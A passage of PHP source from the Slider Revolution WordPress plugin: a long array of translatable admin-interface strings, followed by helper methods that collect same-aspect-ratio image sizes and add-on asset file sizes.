            Do you want to continue with Custom Sizes or do you want to keep the Automatically generated sizes ?', 'revslider'), 'customlayergrid_answer_a' => __('Keep Auto Sizes', 'revslider'), 'customlayergrid_answer_b' => __('Use Custom Sizes', 'revslider'), 'removinglayer_title' => __('What should happen Next?', 'revslider'), 'removinglayer_attention' => __('Need Attention by removing', 'revslider'), 'removinglayer_content' => __('Where do you want to move the Inherited Layers?', 'revslider'), 'dragAndDropFile' => __('Drag & Drop Import File', 'revslider'), 'or' => __('or', 'revslider'), 'clickToChoose' => __('Click to Choose', 'revslider'), 'embed' => __('Embed', 'revslider'), 'export' => __('Export', 'revslider'), 'delete' => __('Delete', 'revslider'), 'duplicate' => __('Duplicate', 'revslider'), 'preview' => __('Preview', 'revslider'), 'tags' => __('Tags', 'revslider'), 'folders' => __('Folder', 'revslider'), 'rename' => __('Rename', 'revslider'), 'root' => __('Root Level', 'revslider'), 'addcategory' => __('Add Category', 'revslider'), 'show' => __('Show', 'revslider'), 'perpage' => __('Per Page', 'revslider'), 'someParentIsHidden_a' => __('Parent Element is not Visible.', 'revslider'), 'someParentIsHidden_b' => __('Selected Layer will not always be visible on Carousel', 'revslider'), 'someParentIsHidden_c' => __('Children Element is set to be always Visible', 'revslider'), 'someParentIsHidden_d' => __('Children Elements(s) will not always be visible on Carousel', 'revslider'), 'convertedlayer' => __('Layer converted Successfully', 'revslider'), 'layerloopdisabledduetimeline' => __('Layer Loop Effect disabled', 'revslider'), 'layerbleedsout' => __('Layer width bleeds out of Grid:
            -Auto Layer width has been removed
            -Line Break set to Content Based', 'revslider'), 'noMultipleSelectionOfLayers' => __('Multiple Layerselection not Supported
            in Animation Mode', 'revslider'), 'closeNews' => __('Close News', 'revslider'), 'copyrightandlicenseinfo' => __('© Copyright & License Info', 'revslider'), 'registered' => __('Registered', 'revslider'), 'notRegisteredNow' => __('Unregistered', 'revslider'), 'dismissmessages' => __('Dismiss Messages', 'revslider'), 'someAddonnewVersionAvailable' => __('Some AddOns have new versions available', 'revslider'), 'newVersionAvailable' => __('New Version Available. Please Update', 'revslider'), 'pluginsmustbeupdated' => __('Plugin Outdated. Please Update', 'revslider'), 'addonsmustbeupdated' => __('AddOns Outdated. Please Update', 'revslider'), 'notRegistered' => __('Plugin is not Registered', 'revslider'), 'notRegNoPremium' => __('Register to unlock Premium Features', 'revslider'), 'notRegNoAll' => __('Register Plugin to unlock all features', 'revslider'), 'needsd' => __('Needs:', 'revslider'), 'fixMissingAddons' => __('Fix not Installed Addons', 'revslider'), 'fix' => __('Fix', 'revslider'), 'notRegNoAddOns' => __('Register to unlock AddOns', 'revslider'), 'notRegNoSupport' => __('Register to unlock Support', 'revslider'), 'notRegNoLibrary' => __('Register to unlock Library', 'revslider'), 'notRegNoUpdates' => __('Register to unlock Updates', 'revslider'), 'notRegNoTemplates' => __('Register to unlock Templates', 'revslider'), 'areyousureupdateplugin' => __('Do you want to start the Update process?', 'revslider'), 'gfontsprecachenote' => __('Google Fonts need to be precached before they become available in the frontend.', 'revslider'), 'gfontsprecachenotesub' => __('Do you want to start the precaching process now?', 'revslider'), 'gfontsprecache' => __('Google Fonts Precaching', 'revslider'), 'processnow' => __('Start Precaching Now?', 'revslider'), 'processlater' => __('Precache Manually Later?', 'revslider'), 'arereadytoimport' => __('are ready for import!', 'revslider'), 'addtocustomornew' => __('Do you want to add them to the "custom" category or create a new category?', 'revslider'), 'addtocustom' => __('Add To Custom', 'revslider'), 'addto' => __('Add To', 'revslider'), 'createnewcategory' => __('Create New Category', 'revslider'), 'updatenow' => __('Update Now', 'revslider'), 'securityupdate' => __('Install Critical Update', 'revslider'), 'toplevels' => __('Higher Level', 'revslider'), 'siblings' => __('Current Level', 'revslider'), 'otherfolders' => __('Other Folders', 'revslider'), 'parent' => __('Parent Level', 'revslider'), 'from' => __('from', 'revslider'), 'to' => __('to', 'revslider'), 'actionneeded' => __('Action Needed', 'revslider'), 'updatedoneexist' => __('Done', 'revslider'), 'updateallnow' => __('Update All', 'revslider'), 'updatelater' => __('Update Later', 'revslider'), 'addonsupdatemain' => __('The following AddOns require an update:', 'revslider'), 'addonsupdatetitle' => __('AddOns need attention', 'revslider'), 'updatepluginfailed' => __('Updating Plugin Failed', 'revslider'), 'updatingplugin' => __('Updating Plugin...', 'revslider'), 'licenseissue' => __('License validation issue Occured. Please contact our Support.', 'revslider'), 'leave' => __('Back to Overview', 'revslider'), 'reLoading' => __('Page is reloading...', 'revslider'), 'updateplugin' => __('Update Plugin', 'revslider'), 'updatepluginsuccess' => __('Slider Revolution Plugin updated Successfully.', 'revslider'), 'updatepluginfailure' => __('Slider Revolution Plugin updated Failure:', 'revslider'), 'updatepluginsuccesssubtext' => __('Slider Revolution Plugin updated Successfully to', 'revslider'), 'reloadpage' => __('Reload Page', 'revslider'), 'loading' => __('Loading', 'revslider'), 'globalcolors' => __('Global Colors', 'revslider'), 'elements' => __('Elements', 'revslider'), 'loadingthumbs' => __('Loading Thumbnails...', 'revslider'), 'currentSlide' => __('Current Slide', 'revslider'), 'jquerytriggered' => __('jQuery Triggered', 'revslider'), 'atriggered' => __('<a> Tag Link', 'revslider'), 'randomslide' => __('Random Slide', 'revslider'), 'firstslide' => __('First Slide', 'revslider'), 'lastslide' => __('Last Slide', 'revslider'), 'nextslide' => __('Next Slide', 'revslider'), 'previousslide' => __('Previous Slide', 'revslider'), 'collectinggooglefonts' => __('Please Wait a Moment
            Collecting Google Fonts
            ', 'revslider'), 'somesourceisnotcorrect' => __('Some Settings in Slider Source may not complete.
            Please Complete All Settings in Slider Sources.', 'revslider'), 'somelayerslocked' => __('Some Layers are Locked and/or Invisible.
            Change Status in Timeline.', 'revslider'), 'editorisLoading' => __('Editor is Loading...', 'revslider'), 'addingnewblankmodule' => __('Adding new Blank Module...', 'revslider'), 'opening' => __('Opening', 'revslider'), 'featuredimages' => __('Featured Images', 'revslider'), 'images' => __('Images', 'revslider'), 'none' => __('None', 'revslider'), 'select' => __('Select', 'revslider'), 'reset' => __('Reset', 'revslider'), 'custom' => __('Custom', 'revslider'), 'out' => __('OUT', 'revslider'), 'in' => __('IN', 'revslider'), 'sticky_navigation' => __('Navigation Options', 'revslider'), 'sticky_slider' => __('Module General Options', 'revslider'), 'sticky_slide' => __('Slide Options', 'revslider'), 'sticky_layer' => __('Layer Options', 'revslider'), 'imageCouldNotBeLoaded' => __('Set a Slide Background Image to use this feature', 'revslider'), 'slideTransPresets' => __('Slide Transition Presets', 'revslider'), 'exporthtml' => __('HTML', 'revslider'), 'simproot' => __('Root', 'revslider'), 'releaseToAddLayer' => __('Release to Add Layer', 'revslider'), 'releaseToUpload' => __('Release to Upload file', 'revslider'), 'moduleZipFile' => __('Module .zip', 'revslider'), 'importing' => __('Processing Import of', 'revslider'), 'importfailure' => __('An Error Occured while importing', 'revslider'), 'successImportFile' => __('File Succesfully Imported', 'revslider'), 'importReport' => __('Import Report', 'revslider'), 'updateNow' => __('Update Now', 'revslider'), 'multiplechildrensel' => __('Multiple Children Selected', 'revslider'), 'activateToUpdate' => __('Activate To Update', 'revslider'), 'activated' => __('Activated', 'revslider'), 'notActivated' => __('Not Activated', 'revslider'), 'embedingLine1' => __('Standard Module Embedding', 'revslider'), 'embedingLine2' => __('For the pages and posts editor insert the Shortcode:', 'revslider'), 'embedingLine2a' => __('To Use it as Modal on pages and posts editor insert the Shortcode:', 'revslider'), 'embedingLine3' => __('From the widgets panel drag the "Revolution Module" widget to the desired sidebar.', 'revslider'), 'embedingLine4' => __('Advanced Module Embedding', 'revslider'), 'embedingLine5' => __('For the theme html use:', 'revslider'), 'embedingLine6' => __('To add the slider only to the homepage, use:', 'revslider'), 'embedingLine7' => __('To add the slider only to single Pages, use:', 'revslider'), 'noLayersSelected' => __('Select a Layer', 'revslider'), 'layerevent_click' => __('Click', 'revslider'), 'layerevent_mouseenter' => __('Enter', 'revslider'), 'layerevent_mouseleave' => __('Leave', 'revslider'), 'layerevent_focus' => __('Focus', 'revslider'), 'layerevent_blur' => __('Blur', 'revslider'), 'layerevent_change' => __('Change', 'revslider'), 'layerevent_blurchange' => __('BlrChn', 'revslider'), 'layeraction_group_link' => __('Link Actions', 'revslider'), 'layeraction_group_slide' => __('Slide Actions', 'revslider'), 'layeraction_group_layer' => __('Layer Actions', 'revslider'), 'layeraction_group_media' => __('Media Actions', 'revslider'), 'layeraction_group_fullscreen' => __('Fullscreen Actions', 'revslider'), 'layeraction_group_advanced' => __('Advanced Actions', 'revslider'), 'layeraction_menu' => __('Menu Link & Scroll', 'revslider'), 'layeraction_link' => __('Simple Link', 'revslider'), 'layeraction_callback' => __('Call Back', 'revslider'), 'layeraction_modal' => __('Open Slider Modal', 'revslider'), 'layeraction_getAccelerationPermission' => __('iOS Gyroscope Permission', 'revslider'), 'layeraction_scroll_under' => __('Scroll below Slider', 'revslider'), 'layeraction_scrollto' => __('Scroll To ID', 'revslider'), 'layeraction_jumpto' => __('Jump to Slide', 'revslider'), 'layeraction_next' => __('Next Slide', 'revslider'), 'layeraction_prev' => __('Previous Slide', 'revslider'), 'layeraction_next_frame' => __('Next Frame', 'revslider'), 'layeraction_prev_frame' => __('Previous Frame', 'revslider'), 'layeraction_pause' => __('Pause Slider', 'revslider'), 'layeraction_resume' => __('Play Slide', 'revslider'), 'layeraction_close_modal' => __('Close Slider Modal', 'revslider'), 'layeraction_open_modal' => __('Open Slider Modal', 'revslider'), 'layeraction_toggle_slider' => __('Toggle Slider', 'revslider'), 'layeraction_start_in' => __('Go to 1st Frame ', 'revslider'), 'layeraction_start_out' => __('Go to Last Frame', 'revslider'), 'layeraction_start_frame' => __('Go to Frame "N"', 'revslider'), 'layeraction_toggle_layer' => __('Toggle 1st / Last Frame', 'revslider'), 'layeraction_toggle_frames' => __('Toggle "N/M" Frames', 'revslider'), 'layeraction_start_video' => __('Start Media', 'revslider'), 'layeraction_stop_video' => __('Stop Media', 'revslider'), 'layeraction_toggle_video' => __('Toggle Media', 'revslider'), 'layeraction_mute_video' => __('Mute Media', 'revslider'), 'layeraction_unmute_video' => __('Unmute Media', 'revslider'), 'layeraction_toggle_mute_video' => __('Toggle Mute Media', 'revslider'), 'layeraction_toggle_global_mute_video' => __('Toggle Mute All Media', 'revslider'), 'layeraction_togglefullscreen' => __('Toggle Fullscreen', 'revslider'), 'layeraction_gofullscreen' => __('Enter Fullscreen', 'revslider'), 'layeraction_exitfullscreen' => __('Exit Fullscreen', 'revslider'), 'layeraction_simulate_click' => __('Simulate Click', 'revslider'), 'layeraction_toggle_class' => __('Toggle Class', 'revslider'), 'layeraction_none' => __('Disabled', 'revslider'), 'backgroundvideo' => __('Background Video', 'revslider'), 'videoactiveslide' => __('Video in Active Slide', 'revslider'), 'firstvideo' => __('Video in Active Slide', 'revslider'), 'addaction' => __('Add Action to ', 'revslider'), 'ol_images' => __('Images', 'revslider'), 'ol_layers' => __('Layer Objects', 'revslider'), 'ol_objects' => __('Objects', 'revslider'), 'ol_modules' => __('Own Modules', 'revslider'), 'ol_fonticons' => __('Font Icons', 'revslider'), 'ol_moduletemplates' => __('Module Templates', 'revslider'), 'ol_videos' => __('Videos', 'revslider'), 'ol_svgs' => __('SVG\'s', 'revslider'), 'ol_favorite' => __('Favorites', 'revslider'), 'installed' => __('Installed', 'revslider'), 'notinstalled' => __('Not Installed', 'revslider'), 'setupnotes' => __('Setup Notes', 'revslider'), 'requirements' => __('Requirements', 'revslider'), 'installedversion' => __('Installed Version', 'revslider'), 'cantpulllinebreakoutside' => __('Use LineBreaks only in Columns', 'revslider'), 'availableversion' => __('Available Version', 'revslider'), 'installingtemplate' => __('Installing Template', 'revslider'), 'search' => __('Search', 'revslider'), 'publish' => __('Publish', 'revslider'), 'unpublish' => __('Unpublish', 'revslider'), 'slidepublished' => __('Slide Published', 'revslider'), 'slideunpublished' => __('Slide Unpublished', 'revslider'), 'layerpublished' => __('Layer Published', 'revslider'), 'layerunpublished' => __('Layer Unpublished', 'revslider'), 'folderBIG' => __('FOLDER', 'revslider'), 'moduleBIG' => __('MODULE', 'revslider'), 'objectBIG' => __('OBJECT', 'revslider'), 'packageBIG' => __('PACKAGE', 'revslider'), 'thumbnail' => __('Thumbnail', 'revslider'), 'imageBIG' => __('IMAGE', 'revslider'), 'videoBIG' => __('VIDEO', 'revslider'), 'iconBIG' => __('ICON', 'revslider'), 'svgBIG' => __('SVG', 'revslider'), 'fontBIG' => __('FONT', 'revslider'), 'redownloadTemplate' => __('Re-Download Online', 'revslider'), 'createBlankPage' => __('Create Blank Page', 'revslider'), 'changingscreensize' => __('Changing Screen Size', 'revslider'), 'qs_headlines' => __('Headlines', 'revslider'), 'qs_content' => __('Content', 'revslider'), 'qs_buttons' => __('Buttons', 'revslider'), 'qs_bgspace' => __('BG & Space', 'revslider'), 'qs_shadow' => __('Shadow', 'revslider'), 'qs_shadows' => __('Shadow', 'revslider'), 'saveslide' => __('Saving Slide', 'revslider'), 'loadconfig' => __('Loading Configuration', 'revslider'), 'updateselects' => __('Updating Lists', 'revslider'), 'textlayers' => __('Text Layers', 'revslider'), 'globalLayers' => __('Global Layers', 'revslider'), 'slidersettings' => __('Slider Settings', 'revslider'), 'animatefrom' => __('Animate From', 'revslider'), 'animateto' => __('Keyframe #', 'revslider'), 'transformidle' => __('Transform Idle', 'revslider'), 'enterstage' => __('Anim From', 'revslider'), 'leavestage' => __('Anim To', 'revslider'), 'onstage' => __('Anim To', 'revslider'), 'keyframe' => __('Keyframe', 'revslider'), 'notenoughspaceontimeline' => __('Not Enough space between Frames.', 'revslider'), 'framesizecannotbeextended' => __('Frame Size can not be Extended. Not enough Space.', 'revslider'), 'backupTemplateLoop' => __('Loop Template', 'revslider'), 'backupTemplateLayerAnim' => __('Animation Template', 'revslider'), 'choose_image' => __('Choose Image', 'revslider'), 'choose_video' => __('Choose Video', 'revslider'), 'slider_revolution_shortcode_creator' => __('Slider Revolution Shortcode Creator', 'revslider'), 'shortcode_generator' => __('Shortcode Generator', 'revslider'), 'please_add_at_least_one_layer' => __('Please add at least one Layer.', 'revslider'), 'shortcode_parsing_successfull' => __('Shortcode parsing successfull. Items can be found in step 3', 'revslider'), 'shortcode_could_not_be_correctly_parsed' => __('Shortcode could not be parsed.', 'revslider'), 'addonrequired' => __('Addon Required', 'revslider'), 'installpackage' => __('Installing Template Package', 'revslider'), 'doinstallpackage' => __('Install Template Package', 'revslider'), 'installtemplate' => __('Install Template', 'revslider'), 'checkversion' => __('Update To Latest Version', 'revslider'), 'installpackageandaddons' => __('Install Template Package & Addon(s)', 'revslider'), 'installtemplateandaddons' => __('Install Template & Addon(s)', 'revslider'), 'licencerequired' => __('Activate License', 'revslider'), 'searcforicon' => __('Search Icons...', 'revslider'), 'savecurrenttemplate' => __('Current Settings (Click to Save as Preset)', 'revslider'), 'customtransitionpresets' => __('Custom Presets', 'revslider'), 'customtemplates' => __('Custom', 'revslider'), 'overwritetemplate' => __('Overwrite Template ?', 'revslider'), 'deletetemplate' => __('Delete Template ?', 'revslider'), 'credits' => __('Credits', 'revslider'), 'randomanimation' => __('Random Animation', 'revslider'), 'transition' => __('Transition', 'revslider'), 'duration' => __('Duration', 'revslider'), 'enabled' => __('Enabled', 'revslider'), 'global' => __('Global', 'revslider'), 'install_and_activate' => __('Install Add-On', 'revslider'), 'install' => __('Install', 'revslider'), 'enableaddon' => __('Enable Add-On', 'revslider'), 'disableaddon' => __('Disable Add-On', 'revslider'), 'enableglobaladdon' => __('Enable Global Add-On', 'revslider'), 'disableglobaladdon' => __('Disable Global Add-On', 'revslider'), 'sliderrevversion' => __('Slider Revolution Version', 'revslider'), 'checkforrequirements' => __('Check Requirements', 'revslider'), 'activateglobaladdon' => __('Activate Global Add-On', 'revslider'), 'activateaddon' => __('Activate Add-On', 'revslider'), 'activatingaddon' => __('Activating Add-On', 'revslider'), 'enablingaddon' => __('Enabling Add-On', 'revslider'), 'addon' => __('Add-On', 'revslider'), 'installingaddon' => __('Installing Add-On', 'revslider'), 'disablingaddon' => __('Disabling Add-On', 'revslider'), 'buildingSelects' => __('Building Select Boxes', 'revslider'), 'warning' => __('Warning', 'revslider'), 'blank_page_added' => __('Blank Page Created', 'revslider'), 'blank_page_created' => __('Blank page has been created:', 'revslider'), 'visit_page' => __('Visit Page', 'revslider'), 'edit_page' => __('Edit Page', 'revslider'), 'closeandstay' => __('Close', 'revslider'), 'changesneedreload' => __('The changes you made require a page reload!', 'revslider'), 'saveprojectornot ' => __('Save your project & reload the page or cancel', 'revslider'), 'saveandreload' => __('Save & Reload', 'revslider'), 'canceldontreload' => __('Cancel & Reload Later', 'revslider'), 'saveconfig' => __('Save Configuration', 'revslider'), 'updatingaddon' => __('Updating', 'revslider'), 'addonOnlyInSlider' => __('Enable/Disable Add-On on Module', 'revslider'), 'openQuickEditor' => __('Open Quick Content Editor', 'revslider'), 'openQuickStyleEditor' => __('Open Quick Style Editor', 'revslider'), 'sortbycreation' => __('Sort by Creation', 'revslider'), 'creationascending' => __('Creation Ascending', 'revslider'), 'sortbytitle' => __('Sort by Title', 'revslider'), 'titledescending' => __('Title Descending', 'revslider'), 'updatefromserver' => __('Update List', 'revslider'), 'audiolibraryloading' => __('Audio Wave Library is Loading...', 'revslider'), 'editModule' => __('Edit Module', 'revslider'), 'editSlide' => __('Edit Slide', 'revslider'), 'showSlides' => __('Show Slides', 'revslider'), 'openInEditor' => __('Open in Editor', 'revslider'), 'openFolder' => __('Open Folder', 'revslider'), 'moveToFolder' => __('Move to Folder', 'revslider'), 'loadingRevMirror' => __('Loading RevMirror Library...', 'revslider'), 'lockunlocklayer' => __('Lock / Unlock Selected', 'revslider'), 'nrlayersimporting' => __('Layers Importing', 'revslider'), 'nothingselected' => __('Nothing Selected', 'revslider'), 'layerwithaction' => __('Layer with Action', 'revslider'), 'imageisloading' => __('Image is Loading...', 'revslider'), 'importinglayers' => __('Importing Layers...', 'revslider'), 'triggeredby' => __('Triggered By', 'revslider'), 'import' => __('Imported', 'revslider'), 'layersBIG' => __('LAYERS', 'revslider'), 'intinheriting' => __('Responsivity', 'revslider'), 'changesdone_exit' => __('The changes you made will be lost!', 'revslider'), 'exitwihoutchangesornot' => __('Are you sure you want to continue?', 'revslider'), 'areyousuretoexport' => __('Are you sure you want to export ', 'revslider'), 'areyousuretodelete' => __('Are you sure you want to delete ', 'revslider'), 'deletecustomcategory' => __('Delete Custom Category ', 'revslider'), 'deletecustomitem' => __('Delete Custom Item ', 'revslider'), 'areyousuretodeleteeverything' => __('Delete All Sliders and Folders included in ', 'revslider'), 'leavewithoutsave' => __('Leave without Save', 'revslider'), 'updatingtakes' => __('Updating the Plugin may take a few moments.', 'revslider'), 'exportslidertxt' => __('Downloading the Zip File may take a few moments.', 'revslider'), 'exportslider' => __('Export Slider', 'revslider'), 'yesexport' => __('Yes, Export Slider', 'revslider'), 'yesdelete' => __('Yes, Delete Slider', 'revslider'), 'yesdeleteit' => __('Yes, Delete', 'revslider'), 'yesdeleteslide' => __('Yes, Delete Slide', 'revslider'), 'yesdeleteall' => __('Yes, Delete All Slider(s)', 'revslider'), 'stayineditor' => __('Stay in Edior', 'revslider'), 'redirectingtooverview' => __('Redirecting to Overview Page', 'revslider'), 'leavingpage' => __('Leaving current Page', 'revslider'), 'ashtmlexport' => __('as HTML Document', 'revslider'), 'preparingNextSlide' => __('Preparing Slide...', 'revslider'), 'updatingfields' => __('Preparing Fields...', 'revslider'), 'preparingdatas' => __('Preparing Data...', 'revslider'), 'loadingcontent' => __('Loading Content...', 'revslider'), 'copy' => __('Copy', 'revslider'), 'paste' => __('Paste', 'revslider'), 'thiswilldeletecustomitem' => __('This will delete the selected item. Items already embedded in modules will remain there.', 'revslider'), 'thiswilldeletecustomcategory' => __('This will delete the Category and move the elements in the default "All" category.', 'revslider'), 'framewait' => __('WAIT', 'revslider'), 'frstframe' => __('1st Frame', 'revslider'), 'lastframe' => __('Last Frame', 'revslider'), 'onlyonaction' => __('on Action', 'revslider'), 'cannotbeundone' => __('This action can not be undone !!', 'revslider'), 'deleteslider' => __('Delete Slider', 'revslider'), 'deleteslide' => __('Delete Slide', 'revslider'), 'deletingslide' => __('This can be Undone only within the Current session.', 'revslider'), 'deleteselectedslide' => __('Are you sure you want to delete the selected Slide:', 'revslider'), 'cancel' => __('Cancel', 'revslider'), 'addons' => __('Add-Ons', 'revslider'), 'deletingsingleslide' => __('Deleting Slide', 'revslider'), 'lastslidenodelete' => __('"Last Slide in Module. Can not be deleted"', 'revslider'), 'deletingslider' => __('Deleting Slider', 'revslider'), 'active_sr_tmp_obl' => __('Template & Object Library', 'revslider'), 'active_sr_inst_upd' => __('Instant Updates', 'revslider'), 'active_sr_one_on_one' => __('1on1 Support', 'revslider'), 'noticepositionreseted' => __('Layer positions has been reset', 'revslider'), 'parallaxsettoenabled' => __('Parallax is now generally Enabled', 'revslider'), 'filtertransitionissuepre' => __('Some slide transitions do not support filters. If problems occur, please try a different slide transition / filter pairing', 'revslider'), 'CORSERROR' => __('External Media can not be used for WEBGL Transitions due CORS Policy issues', 'revslider'), 'CORSWARNING' => __('Slider Revolution has successfully re-requested image to rectify above CORS error.', 'revslider'), 'timelinescrollsettoenabled' => __('Scroll Based Timeline is now generally Enabled', 'revslider'), 'feffectscrollsettoenabled' => __('Filter Effect Scroll is now generally Enabled', 'revslider'), 'nolayersinslide' => __('Slide has no Layers', 'revslider'), 'leaving' => __('Changes that you made may not be saved.', 'revslider'), 'sliderasmodal' => __('Add Slider as Modal', 'revslider'), 'register_to_unlock' => __('Register to unlock all Premium Features', 'revslider'), 'premium_features_unlocked' => __('All Premium Features unlocked', 'revslider'), 'premium_template' => __('PREMIUM TEMPLATE', 'revslider'), 'rs_premium_content' => __('This is a Premium template from the Slider Revolution template library. It can only be used on this website with a registered license key.', 'revslider'), 'premium' => __('Premium', 'revslider'), 'premiumunlock' => __('REGISTER LICENSE TO UNLOCK', 'revslider'), 'tryagainlater' => __('Please try again later', 'revslider'), 'quickcontenteditor' => __('Quick Content Editor', 'revslider'), 'module' => __('Module', 'revslider'), 'quickstyleeditor' => __('Quick Style Editor', 'revslider'), 'all' => __('All', 'revslider'), 'active_sr_to_access' => __('Register Slider Revolution
            to Unlock Premium Features', 'revslider'), 'membersarea' => __('Members Area', 'revslider'), 'onelicensekey' => __('1 License Key per Website!', 'revslider'), 'onepurchasekey' => __('1 Purchase Code per Website!', 'revslider'), 'onelicensekey_info' => __('If you want to use your license key on another domain, please
            deregister it in the members area or use a different key.', 'revslider'), 'onepurchasekey_info' => __('If you want to use your purchase code on
            another domain, please deregister it first or', 'revslider'), 'registeredlicensekey' => __('Registered License Key', 'revslider'), 'registeredpurchasecode' => __('Registered Purchase Code', 'revslider'), 'registerlicensekey' => __('Register License Key', 'revslider'), 'registerpurchasecode' => __('Register Purchase Code', 'revslider'), 'registerCode' => __('Register this Code', 'revslider'), 'registerKey' => __('Register this License Key', 'revslider'), 'deregisterCode' => __('Deregister this Code', 'revslider'), 'deregisterKey' => __('Deregister this License Key', 'revslider'), 'active_sr_plg_activ' => __('Register Purchase Code', 'revslider'), 'active_sr_plg_activ_key' => __('Register License Key', 'revslider'), 'getpurchasecode' => __('Get a Purchase Code', 'revslider'), 'getlicensekey' => __('Get a License Key', 'revslider'), 'ihavepurchasecode' => __('I have a Purchase Code', 'revslider'), 'ihavelicensekey' => __('I have a License Key', 'revslider'), 'enterlicensekey' => __('Enter License Key', 'revslider'), 'enterpurchasecode' => __('Enter Purchase Code', 'revslider'), 'colrskinhas' => __('This Skin use', 'revslider'), 'deleteskin' => __('Delete Skin', 'revslider'), 'references' => __('References', 'revslider'), 'colorwillkept' => __('The References will keep their colors after deleting Skin.', 'revslider'), 'areyousuredeleteskin' => __('Are you sure to delete Color Skin?', 'revslider'), 'svgcustomimport' => __('Custom File Import', 'revslider'), 'importsvgfiles' => __('Import SVG Files', 'revslider'), 'customsvgfile' => __('Custom SVG File', 'revslider'), 'savecustomfile' => __('Import File', 'revslider'), 'customfile' => __('Custom File', 'revslider'), 'uploadfirstitem' => __('Upload Your 1st Item', 'revslider'), 'sltr_full' => __('Full', 'revslider'), 'sltr_basic' => __('Base', 'revslider'), 'sltr_fade' => __('Fade', 'revslider'), 'sltr_fades' => __('Fade', 'revslider'), 'sltr_slideinout' => __('Slide In, Slide Out', 'revslider'), 'sltr_slideinoutfadein' => __('Slide & Fade In, Slide Out', 'revslider'), 'sltr_slideinoutfadeinout' => __('Slide & Fade In, Slide & Fade Out', 'revslider'), 'sltr_dddeffects' => __('3D Effects', 'revslider'), 'sltr_slide' => __('Slide', 'revslider'), 'sltr_slideover' => __('Simple Slide', 'revslider'), 'sltr_remove' => __('Masked Slide Out', 'revslider'), 'sltr_slidefadeinslideout' => __('Slide & Fade In, Slide Out', 'revslider'), 'sltr_slidefadeinout' => __('Slide & Fade In Slide & Fade Out', 'revslider'), 'sltr_parallax' => __('Parallax Slide', 'revslider'), 'sltr_zoom' => __('Zoom', 'revslider'), 'sltr_zoomslidein' => __('Slide In, Zoom Out', 'revslider'), 'sltr_zoomslideout' => __('Zoom In, Slide Out', 'revslider'), 'sltr_special' => __('Special', 'revslider'), 'sltr_double' => __('Double Effect', 'revslider'), 'sltr_filter' => __('Filter', 'revslider'), 'sltr_effects' => __('Effects', 'revslider'), 'sltr_cuts' => __('Paper Cuts', 'revslider'), 'sltr_columns' => __('Columns', 'revslider'), 'sltr_curtain' => __('Curtain', 'revslider'), 'sltr_rotation' => __('Rotation', 'revslider'), 'sltr_rows' => __('Rows', 'revslider'), 'sltr_circle' => __('Circle', 'revslider'), 'sltr_boxes' => __('Boxes', 'revslider'), 'sltr_random' => __('Random', 'revslider'), 'dov_1' => __('Dotted Small', 'revslider'), 'dov_2' => __('Dotted Medium', 'revslider'), 'dov_3' => __('Dotted Large', 'revslider'), 'dov_4' => __('Horizontal Small', 'revslider'), 'dov_5' => __('Horizontal Medium', 'revslider'), 'dov_6' => __('Horizontal Large', 'revslider'), 'dov_7' => __('Vertical Small', 'revslider'), 'dov_8' => __('Vertical Medium', 'revslider'), 'dov_9' => __('Vertical Large', 'revslider'), 'dov_10' => __('Circles Small', 'revslider'), 'dov_11' => __('Circles Medium', 'revslider'), 'dov_12' => __('Diagonal 1', 'revslider'), 'dov_13' => __('Diagonal 2', 'revslider'), 'dov_14' => __('Diagonal 3', 'revslider'), 'dov_15' => __('Diagonal 4', 'revslider'), 'dov_16' => __('Cross', 'revslider') ); return apply_filters('revslider_get_javascript_multilanguage', $lang); } /** * returns all image sizes that have the same aspect ratio, rounded on the second * @since: 6.1.4 **/ public function get_same_aspect_ratio_images($images){ $return = array(); $images = (array)$images; if(!empty($images)){ $objlib = new RevSliderObjectLibrary(); $upload_dir = wp_upload_dir(); foreach($images as $key => $image){ //check if we are from object library if($objlib->_is_object($image)){ $_img = $image; $image = $objlib->get_correct_size_url($image, 100, true); $objlib->_check_object_exist($image); //check to redownload if not downloaded yet $sizes = $objlib->get_sizes(); $return[$key] = array(); if(!empty($sizes)){ foreach($sizes as $size){ $url = $objlib->get_correct_size_url($image, $size); $file = str_replace($upload_dir['baseurl'], $upload_dir['basedir'], $url); $_size = getimagesize($file); $return[$key][$size] = array( 'url' => $url, 'width' => $this->get_val($_size, 0), 'height'=> $this->get_val($_size, 1), 'size' => filesize($file) ); if($_img === $url) $return[$key][$size]['default'] = true; } //$image = $objlib->get_correct_size_url($image, 100, true); $file = str_replace($upload_dir['baseurl'], $upload_dir['basedir'], $image); $_size = getimagesize($file); $return[$key][100] = array( 'url' => $image, 'width' => $this->get_val($_size, 0), 'height'=> $this->get_val($_size, 1), 'size' => filesize($file) ); if($_img === $return[$key][100]['url']) $return[$key][100]['default'] = true; } }else{ $_img = (intval($image) === 0) ? $this->get_image_id_by_url($image) : $image; $img_data = wp_get_attachment_metadata($_img); if(!empty($img_data)){ $return[$key] = array(); $ratio = round($this->get_val($img_data, 'width', 1) / $this->get_val($img_data, 'height', 1), 2); $sizes = $this->get_val($img_data, 'sizes', array()); $file = $upload_dir['basedir'] .'/'. $this->get_val($img_data, 'file'); $return[$key]['orig'] = array( 'url' => $upload_dir['baseurl'] .'/'. $this->get_val($img_data, 'file'), 'width' => $this->get_val($img_data, 'width'), 'height'=> $this->get_val($img_data, 'height'), 'size' => filesize($file) ); if($image === $return[$key]['orig']['url']) $return[$key]['orig']['default'] = true; if(!empty($sizes)){ foreach($sizes as $sn => $sv){ $_ratio = round($this->get_val($sv, 'width', 1) / $this->get_val($sv, 'height', 1), 2); if($_ratio === $ratio){ $i = wp_get_attachment_image_src($_img, $sn); if($i === false) continue; $file = str_replace($upload_dir['baseurl'], $upload_dir['basedir'], $this->get_val($i, 0)); $return[$key][$sn] = array( 'url' => $this->get_val($i, 0), 'width' => $this->get_val($sv, 'width'), 'height'=> $this->get_val($sv, 'height'), 'size' => filesize($file) ); if($image === $return[$key][$sn]['url']) $return[$key][$sn]['default'] = true; } } } } } } } return $return; } /** * returns all files plus sizes of JavaScript and css files used by the AddOns * @since. 6.1.4 **/ public function get_addon_sizes($addons){ $sizes = array(); if(empty($addons) || !is_array($addons)) return $sizes; $_css = '/public/assets/css/'; $_js = '/public/assets/js/'; //these are the sizes before the AddOns where updated $_a = array( 'revslider-404-addon' => array(), 'revslider-backup-addon' => array(), 'revslider-beforeafter-addon' => array( $_css .'revolution.addon.beforeafter.css' => 3512, $_js .'revolution.addon.beforeafter.min.js' => 21144 ), 'revslider-bubblemorph-addon' => array( $_css .'revolution.addon.bubblemorph.css' => 341, $_js .'revolution.addon.bubblemorph.min.js' => 11377 ), 'revslider-domain-switch-addon' => array(), 'revslider-duotonefilters-addon' => array( $_css .'revolution.addon.duotone.css' => 11298, $_js 